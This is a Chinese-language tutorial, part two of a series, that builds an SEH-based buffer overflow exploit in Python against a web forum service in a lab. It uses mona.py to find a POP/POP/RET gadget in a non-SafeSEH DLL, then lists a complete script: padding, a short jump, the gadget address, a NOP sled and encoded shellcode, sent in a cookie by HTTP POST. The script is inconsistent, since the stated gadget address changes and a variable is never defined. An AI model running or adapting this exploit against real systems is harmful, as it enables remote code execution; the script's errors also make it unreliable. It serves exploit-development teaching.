Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)

简介: Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)

接上文 基于结构化异常处理的渗透-使用Python编写渗透模块(一)https://developer.aliyun.com/article/1618639

1.2.2 查找POP/POP/RET指令的地址
现在需要从一个外部的DLL文件载入一个地址,而且是一个没有被SafeSEH保护的DLL文件的POP/POP/RET指令地址。Mona.py是一个由Python编写的用于Immunity Debugger的插件,它提供了大量用于渗透的功能。在Immunity Debugger最下面的长条框里输入命令!mona module,如下图所示:

image.png
image.png

要查找POP/POP/RET指令,需要使用!mona rop命令。如下图所示:

image.png

这个命令执行的结果是生成,C:\Program Files\ImmunityInc\Immunity Debugger\rop.txt文件,这个镜像文件的格式如下图所示:

image.png

注意:虽然找到了很多DLL文件,但是并非所有的DLL文件都可以使用,只有其中不受SafeSEH机制保护的才可以使用,也就是表中SafeSEH列值为False的。另外,我们要在这些文件中查找POP/POP/RET指令的相关地址。从上图中可以看到第一个ImageLoad.dll就是一个不受SafeSEH机制保护的DLL文件。现在我们需要做的就是在这个文件中找到一条POP/POP/RET指令和它的地址。Immunity Debugger中的Mona.py已经找出了这些POP/POP/RET指令,如下图所示:

image.png

从图中选择0x10017743作为要使用的POP/POP/RET指令地址,这条记录完整的内如下:

0x10017743 : # POP EBP #  POP EBX 3 RETN     ** [ImageLoad.dll] **     | ascii{
   PAGE_EXECUTE_READ}

我们将会使用0x10019798作为POP/POP/RET指令的地址。现在已经有了两个可以用来编写渗透模块的重要组件,一个偏移量,另一个是用来载入catch块的地址,也就是POP/POP/RET指令的地址。

1.3 使用Python编写渗透模块
定义发往目标服务器的数据,包括如下几个部分:

  • 导致目标服务溢出的字符(4059个“A”)
  • Payload = “A” * 4059
  • 实现跳转的指令(“\xeb\x06\x90\x90”)
  • buff += “\xeb\x06\x90\x90”
  • POP/POP/RET指令地址
  • buff += “\x43\x77\x01\x10”
  • 用来实现空指令滑行的代码,作用就是在跳转地址和Shellcode之间设置一个滑行区域,这个区域使用空指令填充,从而避免Shellcode中的代码不能正常执行,在此处添加30、40、50个空指令都可以使代码滑行到Shellcode部分(这个数值通过测试得到)。空指令的数量太少会崩溃,太多会死机:
  • Payload += “\x90” * 40
  • 用来在目标主机上实现特定功能的代码,在很多地方可以找到这种代码,另外Kali 中也提供了这种工具,下面是一代码的作用就是启动Windows系统下的计算器。
  • 构造一个发往目标主机的数据包,参照1.2中的内容:
  • cookies = dict(SESSIONID=‘28740’, UserID=buff, PassWD=‘abcdefg’)
  • data=dict(frmLogin=True, frmUserName=‘123’, frmUserPass=‘abcdefg’, login=‘Login’)
  • requests.post(‘http://’+host+‘:’+str(port)+‘/forum.ghp’, cookies=cookies,data=data)

使用socket将这个数据包发送出去:

requests.post('http://'+host+':'+str(port)+'/forum.ghp',cookies=cookies,data=data)

完整的程序如下所示:

import requests
host = '192.168.68.129'
port = 80
shellcode=( '\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd')  #这是一段可以在windows 7中国启动计算器的代码
buff = 'A' * 4059
buff += '\xeb\x06\x90\x90'
buff += '\x43\x77\x01\x10'
buff += '\x90' * 40
buff += shellcode
buff += 'C' * 50
cookies = dict(SESSIONID='28740', UserID=buff, PassWD='abcdefg')
requests.post('http://'+host+':'+str(port)+'/forum.ghp', cookies=cookies,data=data)

image.png

执行这段程序以后,在目标主机查看反应,结果如下图所示:
image.png

相关文章
|
7月前
|
安全 NoSQL Shell
web渗透-SSRF漏洞及discuz论坛网站测试
SSRF(服务器端请求伪造)是一种安全漏洞,攻击者可诱使服务端发起任意请求,进而探测或攻击内网系统。常用于端口扫描、访问内部服务、读取本地文件等。常见防御包括限制协议、域名和IP,但可通过302跳转、短地址等方式绕过。
394 1
web渗透-SSRF漏洞及discuz论坛网站测试
|
6月前
|
Java 测试技术 数据库连接
【SpringBoot(四)】还不懂文件上传?JUnit使用?本文带你了解SpringBoot的文件上传、异常处理、组件注入等知识!并且带你领悟JUnit单元测试的使用!
Spring专栏第四章,本文带你上手 SpringBoot 的文件上传、异常处理、组件注入等功能 并且为你演示Junit5的基础上手体验
1079 3
|
数据采集 算法 测试技术
【硬件测试】基于FPGA的1024QAM基带通信系统开发与硬件片内测试,包含信道模块,误码统计模块,可设置SNR
本文介绍了基于FPGA的1024QAM基带通信系统的硬件测试版本,包含testbench、高斯信道模块和误码率统计模块。系统新增ila在线数据采集和vio在线SNR设置模块,支持不同SNR条件下的性能测试。1024QAM调制将10比特映射到复平面上的1024个星座点之一,实现高效数据传输。硬件测试结果表明,在SNR=32dB和40dB时,系统表现出良好的性能。Verilog核心程序展示了各模块的连接与功能实现。
358 7
|
7月前
|
存储 安全 Linux
Kali Linux 2025.3 发布 (Vagrant & Nexmon) - 领先的渗透测试发行版
Kali Linux 2025.3 发布 (Vagrant & Nexmon) - 领先的渗透测试发行版
808 0
|
数据采集 监控 Python
Python爬虫异常处理:自动跳过无效URL
Python爬虫异常处理:自动跳过无效URL
Python爬虫异常处理:自动跳过无效URL
|
10月前
|
存储 安全 Linux
Kali Linux 2025.2 发布 (Kali 菜单焕新、BloodHound CE 和 CARsenal) - 领先的渗透测试发行版
Kali Linux 2025.2 发布 (Kali 菜单焕新、BloodHound CE 和 CARsenal) - 领先的渗透测试发行版
609 0
|
网络协议 Shell 网络安全
面试官想听的不仅是命令——如何结构化回答“容器无Shell时如何测试外网”?
“说说看,如果一个Pod的容器没有Shell,如何测试它能否访问外网?”
面试官想听的不仅是命令——如何结构化回答“容器无Shell时如何测试外网”?
|
数据采集 算法 数据安全/隐私保护
【硬件测试】基于FPGA的MSK调制解调系统系统开发与硬件片内测试,包含信道模块,误码统计模块,可设置SNR
本文基于FPGA实现MSK调制解调系统,采用Verilog开发,包含同步模块、高斯信道模拟、误码率统计等功能。相比仿真版本,新增ILA数据采集与VIO在线SNR设置模块。通过硬件测试验证,展示不同SNR(如10dB和16dB)下的性能表现。研究聚焦软件无线电领域,优化算法复杂度以适应硬件限制,利用MSK恒定包络、相位连续等特性提升频谱效率。核心代码实现信号生成、调制解调、滤波及误码统计,提供完整的硬件设计与分析方案。
481 19
|
数据采集 移动开发 算法
【硬件测试】基于FPGA的QPSK调制+软解调系统开发与硬件片内测试,包含信道模块,误码统计模块,可设置SNR
本文基于FPGA实现QPSK调制与软解调系统,包含Testbench、高斯信道、误码率统计模块,并支持不同SNR设置。硬件版本新增ILA在线数据采集和VIO在线SNR设置功能,提供无水印完整代码及测试结果。通过VIO分别设置SNR为6dB和12dB,验证系统性能。配套操作视频便于用户快速上手。 理论部分详细解析QPSK调制原理及其软解调实现过程,涵盖信号采样、相位估计、判决与解调等关键步骤。软解调通过概率估计(如最大似然法)提高抗噪能力,核心公式为*d = d_hat / P(d_hat|r[n])*,需考虑噪声对信号点分布的影响。 附Verilog核心程序代码及注释,助力理解与开发。
396 5
|
数据采集 算法 数据安全/隐私保护
【硬件测试】基于FPGA的4ASK调制解调通信系统开发与硬件片内测试,包含信道模块,误码统计模块,可设置SNR
本文介绍了基于FPGA的4ASK调制解调系统的硬件测试版本,该系统包括testbench、高斯信道模块和误码率统计模块,并新增了ILA在线数据采集和VIO在线SNR设置功能。通过VIO设置不同SNR(如15dB和25dB),实现了对系统性能的实时监测与调整。4ASK是一种通过改变载波幅度表示数据的数字调制方式,适用于多种通信场景。FPGA平台的高效性和灵活性使其成为构建高性能通信系统的理想选择。
356 17

推荐镜像

更多